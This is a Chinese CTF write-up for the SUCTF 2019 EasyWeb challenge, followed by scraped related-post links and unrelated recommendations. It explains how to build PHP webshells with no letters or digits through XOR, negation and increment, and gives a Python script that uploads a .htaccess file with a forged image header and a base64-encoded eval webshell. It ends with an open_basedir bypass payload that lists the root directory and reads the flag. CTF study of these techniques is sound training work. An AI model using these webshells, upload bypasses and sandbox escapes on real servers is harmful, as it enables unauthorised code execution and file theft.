0x00 知识点

本题知识量巨大,把我给看傻了。。盯着网上师傅们的博客看了好久。。

知识点1

构造不包含数字和字母的webshell

思路来自p牛

参考链接:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell

我们有三种方法来构造webshell:

1:异或。

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值

想得到我们想要的异或后的字符:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>

这里的话我们异或只能构造GET型,POST不行

然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${����^����}{�}("type index.php");&%ff=system。

exp:

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

2:取反构造

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

3:自增构造

参考链接

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

'a'++ => 'b','b'++ => 'c'

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
function B(){
echo "K0I";
}
$_++;
$__= "?" ^ "}";
$__();
?>

1:$_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

2:$__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量

3:$ __ (); 通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为K0i。在PHP中,我们可以将字符串当作函数来处理。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

知识点2 文件上传绕过

参考链接

https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

nginx的服务器,而且上传目录下有一个php文件,所以上窜.user.ini
apache的服务器,应该上传.htaccess

两个要注意的点是:

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

#define width 1337
#define height 1337

在.htaccess是注释符,所以.htaccess文件可以生效

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)

x00x00x8ax39x8ax39 是wbmp文件的文件头

.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

这里的php是7.2的版本,无法使用

<script language="php"></script>

来绕过对<?的检测

ps:

可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass


我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:

#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc:

GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本

import requests
import base64 htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag" files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text) files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

知识点三 绕过open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

payload

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

0x01 解题

首先先来上传一个webshell:

直接跑脚本:

这里在给出一个思路:

$_GET{x}();

然后传入x=get_the_flag调用该函数

注意因为buu是把这个源码已经开放了,所以我们这里只是提一下:

import urllib.parse

find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

最后凑出

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

成功调用get_the_flag函数

直接跑脚本:

找flag位置:

http://67581bf9-b233-4f97-8a1b-98532c7f7358.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.abc?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

找到flag文件THis_Is_tHe_F14g访问

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

得到flag

参考链接:

https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

[SUCTF 2019]EasyWeb的更多相关文章

  1. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  2. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

  3. 刷题记录:[SUCTF 2019]CheckIn

    目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...

  4. 刷题记录:[SUCTF 2019]EasySQL

    目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...

  5. SUCTF 2019 Upload labs 2 踩坑记录

    SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...

  6. [SUCTF 2019]Pythonginx

    贴出源码 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url&q ...

  7. [SUCTF 2019]CheckIn

    进入靶场只有一个文件上传界面,上传php一句话木马提示非法后缀. 尝试利用php后缀的多样性绕过,发现都被过滤掉了,先把php改成.jpg的图片,提示说有问号在内容中. php后缀的多样性:php语言 ...

  8. [SUCTF 2019]Game

    buuoj杂项复现 下载了之后给了我们一张图片了网站的源代码 图片简单分析了之后没有什么内容,先看源代码的index.html 里面有base32编码,解码 ON2WG5DGPNUECSDBNBQV6 ...

  9. BUUCTF | [SUCTF 2019]CheckIn

    感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...

随机推荐

  1. MQTT 协议学习:002- 通信报文的构成

    背景 之前工作中参与有关协议调试的时候,发现对于协议帧的解析是比较重要的. 参考:<MQTT协议 -- 消息报文格式>.<基于STM32实现MQTT>.<MQTT协议从服 ...

  2. linux systemctl命令

    转自systemctl详解 systemctl 是系统服务管理器命令,它实际上将 service 和 chkconfig 这两个命令组合到一起. 任务 旧指令 新指令 使某服务自动启动 chkconf ...

  3. SQL statement ignored

    存储过程语句错误,字段或变量名可能拼错,导致存储过程无法执行. 解决办法:仔细检查存储过程里的变量,字段,语句等是否正确.

  4. C#知识点回顾随笔目录导航

    此随笔只是春节期间回顾知识点,阅读<<C#学习笔记>>记录(2019-2-4至2019...); 使用有道云笔记记录可能会有些排版问题 思维导图预览(使用的有道云,无法截取完整 ...

  5. UVA 12511/CSU 1120 virus 最长公共上升子序列

    第一次接触一个这最长公共上升子序列 不过其实搞清楚了跟最长公共子序列和 最长上升子序列如出一辙 两重循环,对于当前不相等的,等于前一个的值,相等的,等于比当前A[i]小的最大值+1.弄个临时变量记录最 ...

  6. java开发之分页查询

    工具类 package com.luer.comm.utils; import java.util.List; public class PageBean<T> { //已知数据 priv ...

  7. Andriod studio 汉化教程

    1.找到安装目录,D:\Program Files\Android\Android Studio\lib,先保存resources_en,并且把它的名字改为resources_cn.jar 2.下载汉 ...

  8. 12.Python的高级语法和用法

    # from enum import Enum # 枚举 # class VIP(Enum): # YELLOW = # YELLOW_ALIAS = # 别名 # GREEN = # BLACK = ...

  9. plsql和navicat连接远程oracle(易错点)

    plsql和navicat连接远程oracle,只需要安装oracle客户端即可.注意此处是oracle客户端(Instant Client),并不是oracle数据库. oracle客户端下载地址: ...

  10. BeginInvoke之前检测句柄

    只要在BeginInvoke方法的调用语句前再加一句:IntPtr i = this.Handle;就OK了,这比死循环配合this.IsHandleCreated的判断方法更简洁,因为this.Ha ...